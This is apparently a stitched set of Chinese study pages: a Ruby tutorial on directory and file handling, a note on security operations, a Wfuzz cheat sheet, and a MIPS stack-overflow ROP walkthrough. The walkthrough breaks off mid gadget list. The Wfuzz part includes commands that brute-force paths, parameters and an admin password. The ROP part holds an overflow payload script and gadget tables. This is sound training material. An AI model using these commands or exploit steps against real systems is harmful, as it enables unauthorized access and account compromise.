在 Windows 的命令行中，目录分隔符用的是 \。由于使用 \ 后不仅会使字符串难以读懂，而且也不能直接在 Unix 中执行同一个程序，因此还是建议大家尽量使用 /。但有一点请大家注意，像 WIN32OLE 这样使用 Windows 特有的功能时，使用 / 后可能会使程序变得无法执行。
在 Windows 中，驱动器是目录的上层文件管理单位。 一般用 1 个英文字母（盘符）表示与之相对应的驱动器，如 A: 表示软盘，C:、D:……表示硬盘。这种情况下，请读者把各驱动器当成独立的根目录来看待。例如，很明显地 C:/ 与 D:/ 表示的是不同的驱动器，但如果只写 / 的话，程序执行位置的不同，其表示的驱动器也不同，继而所表示的目录也不同。
- `Dir.pwd`
- `Dir.chdir(dir)`
程序可以获取运行时所在的目录信息，即当前目录（current directory）。使用 `Dir.pwd` 方法获取当前目录，变更当前目录使用 `Dir.chdir` 方法。我们可以对 `Dir.chdir` 方法的参数 dir 指定相对与当前目录的相对路径，也可以指定相对于根目录的绝对路径。
```ruby
p Dir.pwd #=> "/usr/local/lib"
Dir.chdir("ruby/2.0.0") #=> 根据相对路径移动
p Dir.pwd #=> "/usr/local/lib/ruby/2.0.0"
Dir.chdir("/etc") #=> 根据绝对路径移动
p Dir.pwd #=> "/etc"
```
当前目录下的文件，我们可以通过指定文件名直接打开，但如果变更了当前目录，则还需要指定目录名。
```ruby
p Dir.pwd #=> "/usr/local/lib/ruby/2.0.0"
io = File.open("find.rb")
#=> 打开"/usr/local/lib/ruby/2.0.0/find.rb"
io.close
Dir.chdir("../..") # 移动到上两层的目录中
p Dir.pwd #=> "/usr/local/lib"
io = File.open("ruby/2.0.0/find.rb")
#=> 打开"/usr/local/lib/ruby/2.0.0/find.rb"
io.close
```
**目录内容的读取**
像介绍文件的时候一样，我们先来了解一下如何读取已存在的目录。读取目录内容的方法与读取文件的方法基本上是一样的。
- `Dir.open(path)`
- `Dir.close`
与 `File` 类一样，`Dir` 类也有 `open` 方法与 `close` 方法。
我们先试试读取 `/usr/bin` 目录。
```ruby
dir = Dir.open("/usr/bin")
while name = dir.read
p name
end
dir.close
```
我们也可以像下面那样用 `Dir#each` 方法替换 `while` 语句部分。
```ruby
dir = Dir.open("/usr/bin")
dir.each do |name|
p name
end
dir.close
```
和 `File.open` 同样，对 `Dir.open` 使用块后也可以省略 `close` 方法的调用。这时程序会将生成的 `Dir` 对象传给块变量。
```ruby
Dir.open("/usr/bin") do |dir|
dir.each do |name|
p name
end
end
```
程序会输出以下内容。
```
"."
".."
"gnomevfs-copy"
"updmap"
"signver"
"bluetooth-sendto"
┊
```
- `dir.read`
与 `File` 类一样，`Dir` 类也有 `read` 方法。
执行 `Dir#read` 后，程序会遍历读取最先打开的目录下的内容。这里读取的内容可分为以下 4 类：
- 表示当前目录的 .
- 表示上级目录的 ..
- 其他目录名
- 文件名
请注意 `/usr/bin` 与 `/usr/bin/.` 表示同一个目录。
程序会操作指定目录下的所有路径。命令行参数 `ARGV[0]` 的路径为目录时，会对该目录下的文件进行递归处理，除此以外（文件）的情况下则调用 `process_file` 方法。`traverse` 方法会输出指定目录下的所有文件名，执行结果只显示在控制台中。
注释中带 ※ 的代码表示忽略当前目录和上级目录，不这么做的话，就会陷入无限循环中，不断地重复处理同一个目录。
```ruby
def traverse(path)
if File.directory?(path) # 如果是目录
dir = Dir.open(path)
while name = dir.read
next if name == "." # ※
next if name == ".." # ※
traverse(path + "/" + name)
end
dir.close
else
process_file(path) # 处理文件
end
end
def process_file(path)
puts path # 输出结果
end
traverse(ARGV[0])
```
- `Dir.glob`
使用 `Dir.glob` 方法后，就可以像 shell 那样使用 `*` 或者 `?` 等通配符（wildcard character）来取得文件名。`Dir.glob` 方法会将匹配到的文件名（目录名）以数组的形式返回。
下面我们列举一些常用的匹配例子。
获取当前目录中所有的文件名。（无法获取 Unix 中以 "." 开始的隐藏文件名）
```ruby
Dir.glob("*")
```
获取当前目录中所有的隐藏文件名
```ruby
Dir.glob(".*")
```
获取当前目录中扩展名为 .html 或者 .htm 的文件名。可通过数组指定多个模式。
```ruby
Dir.glob(["*.html", "*.htm"])
```
模式中若没有空白，则用 %w(...) 生成字符串数组会使程序更加易懂。
```ruby
Dir.glob(%w(*.html *.htm))
```
获取子目录下扩展名为 .html 或者 .htm 的文件名。
```ruby
Dir.glob(["*/*.html", "*/*.htm"])
```
获取文件名为 foo.c、foo.h、foo.o 的文件。
```ruby
Dir.glob("foo.[cho]")
```
获取当前目录及其子目录中所有的文件名，递归查找目录。
```ruby
Dir.glob("**/*")
```
获取目录 foo 及其子目录中所有扩展名为 .html 的文件名，递归查找目录。
```ruby
Dir.glob("foo/**/*.html")
```
可以像下面那样用 `Dir.glob` 方法改写 traverse 方法。
```ruby
def traverse(path)
Dir.glob(["#{path}/**/*", "#{path}/**/.*"]).each do |name|
unless File.directory?(name)
process_file(name)
end
end
end
```
**目录的创建与删除**
- `Dir.mkdir(path)`
创建新目录用 Dir.mkdir 方法。
```ruby
Dir.mkdir("temp")
```
- `Dir.rmdir(path)`
删除目录用 `Dir.rmdir` 方法。要删除的目录必须为空目录。
```ruby
Dir.rmdir("temp")
```
**文件与目录的属性**
文件与目录都有所有者、最后更新时间等属性。接下来我们就来看看如何引用和更改这些属性。
- `File.stat(path)`
通过 `File.stat` 方法，我们可以获取文件、目录的属性。`File.stat` 方法返回的是 `File::Stat` 类的实例。
方法 | 返回值的含义
- | -
dev | 文件系统的编号
ino | i-node 编号
mode | 文件的属性
nlink | 链接数
uid | 文件所有者的用户 ID
gid | 文件所属组的组 ID
rdev | 文件系统的驱动器种类
size | 文件大小
blksize | 文件系统的块大小
blocks | 文件占用的块数量
atime | 文件的最后访问时间
mtime | 文件的最后修改时间
ctime | 文件状态的最后更改时间
其中，除 `atime` `方法、mtime` 方法、`ctime` 方法返回 `Time` 对象外，其他方法都返回整数值。
通过 `uid` 方法与 `gid` 方法获取对应的用户 ID 与组 ID 时，需要用到 `Etc` 模块。我们可以通过 `require 'etc'` 来引用 `Etc` 模块。
> mswin32 版的 Ruby 不能使用 Etc 模块。
下面是显示文件 `/usr/local/bin/ruby` 的用户名与组名的程序：
```ruby
require 'etc'
st = File.stat("/usr/local/bin/ruby")
pw = Etc.getpwuid(st.uid)
p pw.name #=> "root"
gr = Etc.getgrgid(st.gid)
p gr.name #=> "wheel"
```
- `File.ctime(path)`
- `File.mtime(path)`
- `File.atime(path)`
这三个方法的执行结果与实例方法 `File::Stat#ctime`、`File::Stat#mtime`、`File::Stat#atime` 是一样的。需要同时使用其中的两个以上的方法时，选择实例方法会更加有效率。
- `File.utime(atime, mtime, path)`
改变文件属性中的最后访问时间 `atime`、最后修改时间 `mtime`。时间可以用整数值或者 `Time` 对象指定。另外，同时还可以指定多个路径。下面是修改文件 foo 的最后访问时间以及最后修改时间的程序。通过 `Time.now` 方法创建表示当前时间的 Time 对象，然后将时间设为当前时间减去 100 秒。
```ruby
filename = "foo"
File.open(filename, "w").close # 创建文件后关闭
st = File.stat(filename)
p st.ctime #=> 2013-03-30 04:20:01 +0900
p st.mtime #=> 2013-03-30 04:20:01 +0900
p st.atime #=> 2013-03-30 04:20:01 +0900
File.utime(Time.now-100, Time.now-100, filename)
st = File.stat(filename)
p st.ctime #=> 2013-03-30 04:20:01 +0900
p st.mtime #=> 2013-03-30 04:18:21 +0900
p st.atime #=> 2013-03-30 04:18:21 +0900
```
- `File.chmod(mode, path)`
修改文件 path 的访问权限（permission）。mode 的值为整数值，表示新的访问权限值。同时还能指定多个路径。
> 备注 在 Windows 中只有文件的所有者才有写入的权限。执行权限则是由扩展名（.bat、.exe 等）决定的。
访问权限是用于表示是否可以进行执行、读取、写入操作的 3 位数。访问权限又细分为所有者、所属组、其他三种权限，因此完整的访问权限用 9 位数表示。
以下程序是将文件 `test.txt` 的访问权限设为 0755（所有者拥有所有权限，其他用户为只读权限）：
```ruby
File.chmod(0755, "test.txt")
```
像对现在的访问权限追加执行权限这样追加特定运算时，需要对从 File.stat 方法得到的访问权限位进行追加位的位运算，然后再用计算后的新值重新设定。使用按位或运算追加权限位。
```
rb_file = "test.rb"
st = File.stat(rb_file)
File.chmod(st.mode | 0111, rb_file) # 追加执行权限
```
- `File.chown(owner, group, path)`
改变文件 path 的所有者。owner 表示新的所有者的用户 ID，group 表示新的所属组 ID。同时也可以指定多个路径。执行这个命令需要有管理员的权限。
> 备注 Windows 中虽然也提供了这个方法，但调用时什么都不会发生。
**FileTest 模块**
`FileTest` 模块中的方法用于检查文件的属性。该模块可以在 include 后使用，也可以直接作为模块函数使用。其中的方法也可以作为 `File` 类的类方法使用。
方法 | 返回值
- | -
exist?(path) | path 若存在则返回 true
file?(path) | path 若是文件则返回 true
directory?(path) | path 若是目录则返回 true
owned?(path) | path 的所有者与执行用户一样则返回 true
grpowned?(path) | path 的所属组与执行用户的所属组一样则返回 true
readable?(path) | path 可读取则返回 true
writable?(path) | path 可写则返回 true
executable?(path) | path 可执行则返回 true
size(path) | 返回 path 的大小
size?(path) | path 的大小比 0 大则返回 true ，大小为 0 或者文件不存在则返回 nil
zero?(path) | path 的大小为 0 则返回 true
# 文件名的操作
操作文件时，我们常常需要操作文件名。Ruby 为我们提供了从路径名中获取目录名、文件名的方法、以及相反的由目录名和文件名生成路径名的方法。
- `File.basename(path[, suffix])`
返回路径 path 中最后一个 `"/"` 以后的部分。如果指定了扩展名 suffix，则会去除返回值中扩展名的部分。在从路径中获取文件名的时候使用本方法。
```ruby
p File.basename("/usr/local/bin/ruby") #=> "ruby"
p File.basename("src/ruby/file.c", ".c") #=> "file"
p File.basename("file.c") #=> "file"
```
- `File.dirname(path)`
返回路径 path 中最后一个 `"/"` 之前的内容。路径不包含 `"/"` 时则返回 `"."`。在从路径中获取目录名的时候使用本方法。
```ruby
p File.dirname("/usr/local/bin/ruby") #=> "/usr/local/bin"
p File.dirname("ruby") #=> "."
p File.dirname("/") #=> "/"
```
- `File.extname(path)`
返回路径 path 中 `basename` 方法返回结果中的扩展名。没有扩展名或者以 `"."` 开头的文件名时则返回空字符串。
```ruby
p File.extname("helloruby.rb") #=> ".rb"
p File.extname("ruby-2.0.0-p0.tar.gz") #=> ".gz"
p File.extname("img/foo.png") #=> ".png"
p File.extname("/usr/local/bin/ruby") #=> ""
p File.extname("~/.zshrc") #=> ""
p File.extname("/etc/init.d/ssh") #=> ""
```
- `File.split(path)`
将路径 path 分割为目录名与文件名两部分，并以数组形式返回。在知道返回值的数量时，使用多重赋值会方便得多。
```ruby
p File.split("/usr/local/bin/ruby")
#=> ["/usr/local/bin", "ruby"]
p File.split("ruby") #=> [".", "ruby"]
p File.split("/") #=> ["/", ""]
dir, base = File.split("/usr/local/bin/ruby")
p dir #=> "/usr/local/bin"
p base #=> "ruby"
```
- `File.join(name1[, name2, …])`
用 `File::SEPARATOR` 连接参数指定的字符串。`File::SEPARATOR` 的默认设值为 `"/"` 。
```ruby
p File.join("/usr/bin", "ruby") #=> "/usr/bin/ruby"
p File.join(".", "ruby") #=> "./ruby"
```
- `File.expand_path(path[, default_dir])`
根据目录名 default_dir，将相对路径 path 转换为绝对路径。不指定 default_dir 时，则根据当前目录转换。
```ruby
p Dir.pwd #=> "/usr/local"
p File.expand_path("bin") #=> "/usr/local/bin"
p File.expand_path("../bin") #=> "/usr/bin"
p File.expand_path("bin", "/usr") #=> "/usr/bin"
p File.expand_path("../etc", "/usr") #=> "/etc"
```
在 Unix 中，可以用 `~` 用户名的形式获取用户的主目录（home directory）。~/ 表示当前用户的主目录。
```ruby
p File.expand_path("~gotoyuzo/bin") #=> "/home/gotoyuzo/bin"
p File.expand_path("~takahashim/bin") #=> "/home/takahashim/bin"
p File.expand_path("~/bin") #=> "/home/gotoyuzo/bin"
```
# 与操作文件相关的库
接下来我们来介绍一下 Ruby 默认提供的与操作文件相关的库。预定义的 `File` 类与 `Dir` 类只提供了 OS 中 Ruby 可以操作的最基本的功能。为了提高写程序的效率，有必要掌握本节中所介绍的库。
**find 库**
`find` 库中的 `find` 模块被用于对指定的目录下的目录或文件做递归处理。
- `Find.find(dir){|path| …}`
- `Find.prune`
`Find.find` 方法会将目录 dir 下的所有文件路径逐个传给路径 path。
使用 `Find.find` 方法时，调用 `Find.prune` 方法后，程序会跳过当前查找目录下的所有路径（只是使用 `next` 时，则只会跳过当前目录，子目录的内容还是会继续查找）。
下面是一个显示命令行参数指定目录下内容的脚本。`listdir` 方法会显示参数 `top` 路径下所有的目录名。将不需要查找的目录设定到 `IGNORES` 后，就可以通过 `Find.prune` 方法忽略那些目录下的内容的处理。
```ruby
require 'find'
IGNORES = [ /^\./, /^CVS$/, /^RCS$/ ]
def listdir(top)
Find.find(top) do |path|
if FileTest.directory?(path) # 如果path 是目录
dir, base = File.split(path)
IGNORES.each do |re|
if re =~ base # 需要忽略的目录
Find.prune # 忽略该目录下的内容的查找
end
end
puts path # 输出结果
end
end
end
listdir(ARGV[0])
```
**tempfile 库**
`tempfile` 库用于管理临时文件。
在处理大量数据的程序中，有时候会将一部分正在处理的数据写入到临时文件。这些文件一般在程序执行完毕后就不再需要，因此必须删除，但为了能够确实删除文件，就必须记住每个临时文件的名称。此外，有时候程序还会同时处理多个文件，或者同时执行多个程序，考虑到这些情况，临时文件还不能使用相同的名称，而这就形成了一个非常麻烦的问题。
`tempfile` 库中的 `Tempfile` 类就是为了解决上述问题而诞生的。
- `Tempfile.new(basename[, tempdir])`
创建临时文件。实际生成的文件名的格式为“basename+ 进程 ID+ 流水号”。因此，即使使用同样的 basename，每次调用 `new` 方法生成的临时文件也都是不一样的。如果不指定目录名 tempdir，则会按照顺序查找 `ENV["TMPDIR"]`、`ENV["TMP"]`、`ENV["TEMP"]`、`/tmp`，并把最先找到的目录作为临时目录使用。
- `tempfile.close(real)`
关闭临时文件。real 为 `ture` 时则马上删除临时文件。即使没有明确指定删除，`Tempfile` 对象也会在 GC 的时候并一并删除。real 的默认值为 `false`。
- `tempfile.open`
再次打开 `close` 方法关闭的临时文件。
- `tempfile.path`
返回临时文件的路径。
**fileutils 库**
在之前的内容中，我们已经接触过了 `fileutils` 库的 `FileUtils.cp`、`FileUtils.mv` 方法。通过 `require` 引用 `fileutils` 库后，程序就可以使用 `FileUtils` 模块中提供的各种方便的方法来操作文件。
- `FileUtils.cp(from, to)`
把文件从 from 拷贝到 to。to 为目录时，则在 to 下面生成与 from 同名的文件。此外，也可以将 from 作为数组来一次性拷贝多个文件，这时 to 必须指定为目录。
```ruby
FileUtils.cp_r(from, to)
```
功能与 `FileUtils.cp` 几乎一模一样，不同点在于 from 为目录时，则会进行递归拷贝。
- `FileUtils.mv(from, to)`
把文件（或者目录）from 移动到 to。to 为目录时，则将文件作为与 from 同名的文件移动到 to 目录下。也可以将 from 作为数组来一次性移动多个文件，这时 to 必须指定为目录。
- `FileUtils.rm(path)`
- `FileUtils.rm_f(path)`
删除 path。path 只能为文件。也可以将 path 作为数组来一次性删除多个文件。`FileUtils.rm` 方法在执行删除处理的过程中，若发生异常则中断处理，而 `FileUtils.rm_f` 方法则会忽略错误，继续执行。
- `FileUtils.rm_r(path)`
- `FileUtils.rm_rf(path)`
删除 path。path 为目录时，则进行递归删除。此外，也可以将 path 作为数组来一次性删除多个文件（或者目录）。`FileUtils.rm_r` 方法在执行处理的过程中，若发生异常则中断处理，而 `FileUtils.rm_rf` 方法则会忽略错误，继续执行。
- `FileUtils.compare(from, to)`
比较 from 与 to 的内容，相同则返回 `true`，否则则返回 `false`。
- `FileUtils.install(from, to[, option])`
把文件从 from 拷贝到 to。如果 to 已经存在，且与 from 内容一致，则不会拷贝。option 参数用于指定目标文件的访问权限，如下所示。
```ruby
FileUtils.install(from, to, :mode => 0755)
```
- `FileUtils.mkdir_p(path)`
使用 `Dir.mkdir` 方法创建 `"foo/bar/baz"` 这样的目录时，需要像下面那样按顺序逐个创建上层目录。
```ruby
Dir.mkdir("foo")
Dir.mkdir("foo/bar")
Dir.mkdir("foo/bar/baz")
```
而如果使用 `FileUtils.mkdir\_p` 方法，则只需调用一次就可以自动创建各层的目录。此外，也可以将 path 作为数组来一次性创建多个目录。
```ruby
FileUtils.mkdir_p("foo/bar/baz")
```
**关于 GC**
我们介绍了各种类型的对象，而在程序中生成这些对象（一部分除外）时都会消耗内存空间。例如数组、字符串等，如果长度变大了，那么它们需要的内存空间也会随之变大。程序为了能正常运行不可避免地要创建对象，但是计算机的内存空间却不是可以无限使用的，因此就必须释放已经不需要的对象所占用的内存空间。
下面的情况下，变量 `line` 引用的字符串，在下一次读取时就不能再被引用了。
```ruby
io.each_line do |line|
print(line)
end
```
还有，在方法执行完毕后，在方法中临时生成的对象也不再需要了。
```ruby
def hello(name)
msg = "Hello, #{name}" #=> 创建新的字符串对象
puts(msg)
end
```
但是，内存空间释放并不是大部分程序主要关心的功能，而且忘记释放内存，或者错把正在用的对象释放等，都很可能引起难缠的程序漏洞（bug）。因此，在 Ruby（Java、Perl、Lisp 等语言也都具备这样的功能）中，解析器（interpreter）会在适当的时机，释放已经没有被任何地方引用的对象所占的资源。这样的功能，我们称之为 Garbage Collection（垃圾回收的意思），简称 GC。
有了 GC 后，我们就无需再为内存管理而烦恼了。GC 是支撑 Ruby 的宗旨——快乐编程的重要功能之一。
|
sec-knowleage
|
# 安全运营的要素
”人、数据、工具、流程，共同构成了安全运营的基本元素，以威胁发现为基础，以分析处置为核心，以发现隐患为关键，以推动提升为目标通常是现阶段企业的安全运营的主旨。“[1]
## 基本要素
人、数据、工具、流程
## 基础
威胁发现
可以是基于流量、日志、资产的关联分析，也可以是通过第三方安全设备获取或者其它的各种方法。总之是要进行威胁的发现。
补充：
- Security Threat: is defined as a risk that which can potentially harm computer systems and organization. It can be either intentional or accidental.
## 核心
分析处置。
进行安全事件的规范处置。
## 关键
发现隐患。
从大的方面发现安全威胁、敌我态势。从小的方面发现业务风险和系统风险。
## 目标
推动提升。
推动安全团队整体能力——推动建设企业整体安全运营体系建设——提升安全管理工作的效率。
## References
[1] 安全运营：解决“安全的最后一公里”, 奇安信集团大数据与安全运营事业部总经理 马江波, https://www.secrss.com/articles/13864
|
sec-knowleage
|
# Wfuzz
<p align="center">
<img src="../../../assets/img/logo/wfuzz.svg" width="30%">
</p>
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**官网**
- https://github.com/xmendez/wfuzz
**教程 & Reference**
- [史上最详[ZI]细[DUO]的wfuzz中文教程（一）——初识wfuzz](https://www.freebuf.com/column/163553.html)
- [史上最详[ZI]细[DUO]的wfuzz中文教程（二）——wfuzz 基本用法](https://www.freebuf.com/column/163632.html)
- [史上最详[ZI]细[DUO]的wfuzz中文教程（三）——wfuzz 高级用法](https://www.freebuf.com/column/163787.html)
- [史上最详[ZI]细[DUO]的wfuzz中文教程（四）—— wfuzz 库](https://www.freebuf.com/column/164079.html)
---
## 选项
```
-h/--help : 帮助文档
--help : 高级帮助文档
--version : Wfuzz 详细版本信息
-e <type> : 显示可用的 encoders/payloads/iterators/printers/scripts 列表
--recipe <filename> : 从文件中读取参数
--dump-recipe <filename> : 打印当前的参数并保存成文档
--oF <filename> : 将测试结果保存到文件，这些结果可被 wfuzz payload 处理
-c : 彩色化输出
-v : 详细输出
-f filename,printer : 将结果以 printer 的方式保存到 filename (默认为 raw printer).
-o printer : 输出特定 printer 的输出结果
--interact : (测试功能) 如果启用，所有的按键将会被捕获，这使得你能够与程序交互
--dry-run : 打印测试结果，而并不发送 HTTP 请求
--prev : 打印之前的 HTTP 请求（仅当使用 payloads 来生成测试结果时使用）
-p addr : 使用代理，格式 ip:port:type. 可设置多个代理，type 可取的值为 SOCKS4,SOCKS5 or HTTP（默认）
-t N : 指定连接的并发数，默认为 10
-s N : 指定请求的间隔时间，默认为 0
-R depth : 递归路径探测，depth 指定最大递归数量
-L,--follow : 跟随 HTTP 重定向
-Z : 扫描模式 (连接错误将被忽视).
--req-delay N : 设置发送请求允许的最大时间，默认为 90，单位为秒.
--conn-delay N : 设置连接等待的最大时间，默认为 90，单位为秒.
-A : 是 --script=default -v -c 的简写
--script= : 与 --script=default 等价
--script=<plugins> : 进行脚本扫描， <plugins> 是一个以逗号分开的插件或插件分类列表
--script-help=<plugins> : 显示脚本的帮助
--script-args n1=v1,... : 给脚本传递参数. ie. --script-args grep.regex="<A href=\"(.*?)\">"
-u url : 指定请求的 URL
-m iterator : 指定一个处理 payloads 的迭代器 (默认为 product)
-z payload : 为每一个占位符指定一个 payload，格式为 name[,parameter][,encoder].
编码可以是一个列表, 如 md5-sha1. 还可以串联起来, 如. md5@sha1.
还可使用编码各类名，如 url
使用 help 作为 payload 来显示 payload 的详细帮助信息，还可使用 --slice 进行过滤
--zP <params> : 给指定的 payload 设置参数。必须跟在 -z 或-w 参数后面
--slice <filter> : 以指定的表达式过滤 payload 的信息，必须跟在 -z 参数后面
-w wordlist : 指定一个 wordlist 文件，等同于 -z file,wordlist
-V alltype : 暴力测试所有 GET/POST 参数，无需指定占位符
-X method : 指定一个发送请求的 HTTP 方法，如 HEAD 或 FUZZ
-b cookie : 指定请求的 cookie 参数，可指定多个 cookie
-d postdata : 设置用于测试的 POST data (ex: "id=FUZZ&catalogue=1")
-H header : 设置用于测试请求的 HEADER (ex:"Cookie:id=1312321&user=FUZZ"). 可指定多个 HEADER.
--basic/ntlm/digest auth : 格式为 "user:pass" or "FUZZ:FUZZ" or "domain\FUZ2Z:FUZZ"
--hc/hl/hw/hh N[,N]+ : 以指定的返回码/行数/字数/字符数作为判断条件隐藏返回结果 (用 BBB 来接收 baseline)
--sc/sl/sw/sh N[,N]+ : 以指定的返回码/行数/字数/字符数作为判断条件显示返回结果 (用 BBB 来接收 baseline)
--ss/hs regex : 显示或隐藏返回结果中符合指定正则表达式的返回结果
--filter <filter> : 显示或隐藏符合指定 filter 表达式的返回结果 (用 BBB 来接收 baseline)
--prefilter <filter> : 用指定的 filter 表达式在测试之前过滤某些测试条目
```
---
## 例子
> 注 : 字典不要太大，不然 wfuzz 直接就会跳过
**暴破文件和路径**
wfuzz 自带一些字典文件
```
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://testphp.vulnweb.com/FUZZ
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://testphp.vulnweb.com/FUZZ.php
```
**爆破 URL 中参数**
```
wfuzz -z range,0-10 --hl 97 http://testphp.vulnweb.com/listproducts.php?cat=FUZZ
wfuzz -w GET_params_Top99.txt -w LFI_Linux.txt --hh 851 -u http://192.168.141.139/thankyou.php?FUZZ=FUZ2Z
-w 指定一个 wordlist 文件
-hh 以指定的字符数作为判断条件隐藏返回结果
```
**爆破指定账号密码**
```
wfuzz -v -w test.txt -d "username=admin&password=FUZZ" --hh 206 -u http://192.168.141.137/login.php
```
**测试 Cookies**
在测试请求中加入自己设置的 cookies，可以使用 -b 参数指定，多个 cookies 使用多次。
```
wfuzz -z file,/usr/share/wfuzz/wordlist/general/common.txt -b cookie=value1 -b cookie2=value2 http://testphp.vulnweb.com/FUZZ
```
以上命令可生成如下的 HTTP 请求：
```
GET /attach HTTP/1.1
Host: testphp.vulnweb.com
Accept: */*
Content-Type: application/x-www-form-urlencoded
Cookie: cookie=value1; cookie2=value2
User-Agent: Wfuzz/2.2
Connection: close
```
也可以对 cookie fuzz
```
wfuzz -z file,/usr/share/wfuzz/wordlist/general/common.txt -b cookie=FUZZ http://testphp.vulnweb.com/
```
|
sec-knowleage
|
# mips - ROP
## 介绍
本章目前只打算介绍 mips 下的 rop，其他漏洞的利用以后会逐渐介绍
## 预备知识
架构回顾见： https://ctf-wiki.github.io/ctf-wiki/assembly/mips/readme-zh/
栈结构如图：
有几个特殊的地方需要注意
1. MIPS32架构中是没有EBP寄存器的，程序函数调用的时候是将当前栈指针向下移动 n 比特到该函数的 stack frame 存储组空间，函数返回的时候再加上偏移量恢复栈
2. 传参过程中，前四个参数$a0-$a3，多余的会保存在调用函数的预留的栈顶空间内
3. MIPS调用函数时会把函数的返回地址直接存入$RA 寄存器
## 简单环境适配
我们目前以用户态的形式调试程序, 所以需要安装 且，qemu-user 等依赖
```bash
$ sudo apt install qemu-user
$ sudo apt install libc6-mipsel-cross
$ sudo mkdir /etc/qemu-binfmt
$ sudo ln -s /usr/mipsel-linux-gnu /etc/qemu-binfmt/mipsel
```
## 题目
### 1 ropemporium ret2text
跟到 pwnme 函数里
我们可以看到函数一开始，将 ra 寄存器的值，放入 $sp+60 的位置里。即返回地址位于 $sp+60
在看该函数里的 read， a2 为读取的 size 大小，将被赋值为 0x38，buf 为位于 $sp + 0x18 的位置，明显的一个栈溢出漏洞，且能覆盖返回地址。
通过计算，可以计算出 padding 为 36
```
60 - 0x18 = 36
```
另外程序有一个 ret2win 函数
所以该题目只需覆盖返回地址为 ret2win 函数的地址即可。所以我们可以构造如下 payload：
```python
pay = 'A'*36 + p32(ret2win_addr)
```
即能 get flag
### 2 DVRF stack_bof_02.c
题目源码如下
```c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
//Simple BoF by b1ack0wl for E1550
//Shellcode is Required
int main(int argc, char **argv[]){
char buf[500] ="\0";
if (argc < 2){
printf("Usage: stack_bof_01 <argument>\r\n-By b1ack0wl\r\n");
exit(1);
}
printf("Welcome to the Second BoF exercise! You'll need Shellcode for this! ;)\r\n\r\n");
strcpy(buf, argv[1]);
printf("You entered %s \r\n", buf);
printf("Try Again\r\n");
return 0;
}
```
安装交叉编译工具
```bash
sudo apt-get update
sudo apt-get install binutils-mipsel-linux-gnu
sudo apt-get install gcc-mipsel-linux-gnu
```
编译上面的源码
```bash
mipsel-linux-gnu-gcc -fno-stack-protector stack_bof_02.c -o stack_bof_02
```
程序保护
代码逻辑很简单，在 strcpy 的地方有一处栈溢出。
> 程序调试
`qemu-mipsel-static -g 1234 -L ./mipsel ./vuln_system PAYLOAD`
-g 指定调试端口， -L 指定 lib 等文件的目录，当程序起来之后
`gdb-multiarch stack_bof_02` 运行如下命令，然后在 gdb 里运行 `target remote 127.0.0.1:1234` 即可挂上调试器
> 控制 PC
返回地址位于 $sp+532 , buf 位于 $fp+24
即 padding 为 `pay += b'a'*508`
```python
# padding :532 - 24 = 508
from pwn import *
context.log_level = 'debug'
pay = b''
pay += b'a'*508
pay += b'b'*4
# with open('payload','wb') as f:
# f.write(pay)
p = process(['qemu-mipsel-static', '-L', './mipsel', '-g', '1234','./stack_bof_02', pay])
# p = process(['qemu-mipsel-static', '-L', './mipsel', './stack_bof_02'])
pause()
p.interactive()
```
如下图所示，即可控制 ra 寄存器，进而控制 PC
> 查找使用的 gadget 完成 ret2shellcode
由于程序没有开启 PIE 等 保护，所以我们可以直接在栈上注入 shellcode，然后控制 PC跳转到栈上
找 gadget 我们可以使用 mipsrop.py 这个 ida 插件进行。
由于 mips 流水指令集的特点，存在 cache incoherency 的特性，需要调用 sleep 或者其他函数将数据区刷新到当前指令区中去，才能正常执行 shellcode。为了找到更多的 gadget，以及这是一个 demo ，所有我们在 libc 里查找
#### 1. 调用 sleep 函数
调用 sleep 函数之前，我们需要先找到对 a0 进行设置的 gadget
```
Python>mipsrop.find("li $a0, 1")
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x000B9350 | li $a0,1 | jalr $s2 |
| 0x000E2660 | li $a0,1 | jalr $s2 |
| 0x00109918 | li $a0,1 | jalr $s1 |
| 0x0010E604 | li $a0,1 | jalr $s2 |
| 0x0012D650 | li $a0,1 | jalr $s0 |
| 0x0012D658 | li $a0,1 | jalr $s2 |
| 0x00034C5C | li $a0,1 | jr 0x18+var_s4($sp) |
| 0x00080100 | li $a0,1 | jr 0x18+var_s4($sp) |
| 0x00088E80 | li $a0,1 | jr 0x1C+var_s0($sp) |
| 0x00091134 | li $a0,1 | jr 0x70+var_s24($sp) |
| 0x00091BB0 | li $a0,1 | jr 0x70+var_s24($sp) |
| 0x000D5460 | li $a0,1 | jr 0x1C+var_s10($sp) |
| 0x000F2A80 | li $a0,1 | jr 0x1C+var_s0($sp) |
| 0x001251C0 | li $a0,1 | jr 0x18+var_s14($sp) |
----------------------------------------------------------------------------------------------------------------
Found 14 matching gadgets
```
例如我们这里选择了 0x00E2660 处的 gadget
```
.text:000E2660 move $t9, $s2
.text:000E2664 jalr $t9 ; sigprocmask
.text:000E2668 li $a0, 1
```
我们发现，这个 gadget 最后会跳到 s2 寄存器里的值的位置，所以，我下一步需要找到能控制 s2 的寄存器
通常而言，我们这里会使用 mipsrop 插件的 `mipsrop.tail()` 方法来寻找，从栈上设置寄存器的 gadget
```
Python>mipsrop.tail()
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x0001E598 | move $t9,$s2 | jr $s2 |
| 0x000F7758 | move $t9,$s1 | jr $s1 |
| 0x000F776C | move $t9,$s1 | jr $s1 |
| 0x000F7868 | move $t9,$s1 | jr $s1 |
| 0x000F787C | move $t9,$s1 | jr $s1 |
| 0x000F86D4 | move $t9,$s4 | jr $s4 |
| 0x000F8794 | move $t9,$s5 | jr $s5 |
| 0x00127E6C | move $t9,$s0 | jr $s0 |
| 0x0012A80C | move $t9,$s0 | jr $s0 |
| 0x0012A880 | move $t9,$s0 | jr $s0 |
| 0x0012F4A8 | move $t9,$a1 | jr $a1 |
| 0x0013032C | move $t9,$a1 | jr $a1 |
| 0x00130344 | move $t9,$a1 | jr $a1 |
| 0x00132C58 | move $t9,$a1 | jr $a1 |
| 0x00133888 | move $t9,$a1 | jr $a1 |
| 0x0013733C | move $t9,$a1 | jr $a1 |
| 0x00137354 | move $t9,$a1 | jr $a1 |
| 0x00137CDC | move $t9,$a1 | jr $a1 |
